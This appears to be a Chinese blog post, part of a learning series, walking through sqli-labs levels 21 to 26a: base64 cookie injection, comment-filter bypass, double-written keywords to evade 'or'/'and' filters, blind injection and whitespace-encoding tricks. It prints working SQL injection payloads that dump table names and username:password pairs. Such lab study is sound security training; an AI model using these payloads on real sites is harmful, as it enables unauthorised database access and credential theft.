SQL注入基础学习5

SQL注入基础学习5

二、靶场实操(开始先学习手工,后面的话,可以采用sqlmap等自动化工具)

靶场采用sqli-labs

21、第21关

第21关是也是属于cookie注入的

  • 登陆后查看页面或者报头信息(如图一),会发现,输入时uname=admin1,但是页面上显示的 YWRtaW4x 说明被编码了,试一下bsae64解码(如图二),

    图一

    图二
  • 测试闭合方式,闭合方式为')'

  • 测试列数以及回显位,列数为3

  • 该关卡用输出文件的方式来做,将经过base64编码后的语句复制到uname=后面,此时

  • 查看输出的文件

22、第22关

22关也可以在cookie注入,和21关类似,将注入的语句转为base64编码就可以了,可以直接在burp转。闭合方式为"闭合

三、sqli-labs的page-2

1、第23关
  • 输入单引号会正常报错,但是进行后面的操作的时候,通过burpsuite查看报头,发现不论是用--+还是#都会被注释了

  • 查看源码,代码中将所有的外部输入的注释字符都给替换为空了

  • 构造语句时,不能使用注释符。构造的注入语句如下,用'1'='1来闭合后面的'

    ?id=1' and 1=updatexml(1,concat(0x7e,(select database())),3) or '1'='1
    
    ?id=1' and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3) or '1'='1
    
2、第25关

第25关是对or和and进行过滤

  • 查看源码,发现只是进行了一次过滤,那么就可以进行双写绕过

  • 闭合方式是',但是后面进行注释的时候,发现#不管用,此时采用--+来注释,payload如下

    ?id=1' order by 3--+
    
    ?id=-1' union select 1,2,3--+
    
    ?id=-1' union select 1,2,(select database())--+
    
    ?id=-1' union select 1,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() ),3 --+
    
    ?id=-1' union select 1,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),3 --+
    
    ?id=-1' union select 1,(select group_concat(username,':',passwoorrd) from users),3 --+
    
3、第25a关

该关卡是盲注加上过滤orand;可以用脚本或者burpsuite的爆破模式来做,爆破的时候建议转成ascii来做,直接用字符相等的话,爆破出来的好像不分大小写

payload如下:

//数据的第一个字符
?id=1 anandd if (mid((select database()),1,1)='s',1,0)--+

字符对比

acsii对比
4、第26关

该关卡是过滤orand还有空格

  • 查看页面源码

    发现可以用编码绕过,

    • 常用与绕过过滤空格的手法
      • 使用+代替
      • %09 TAB键
      • %0a 新建一行
      • %0c 新的一页
      • %0d return 功能
      • %0b TAB键(垂直)
      • %a0 空格
      • /**/
      • /*!*/
    • 经过测试,可以用%a0进行绕过
5、第26a关

在25关的基础上加上盲注,盲注的话,需要修改一下上一个的payload,需要将or修改为and,要用逻辑与,保证每一个条件都正确,页面才显示的是正确的页面,可以用burpsuite半自动化测试

?id=1'%a0anandd%a0if(length(database())=8,1,0)%a0anandd%a0'1'='1
posted @ 2023-08-23 19:33  凉城厌心  阅读(9)  评论(0编辑  收藏  举报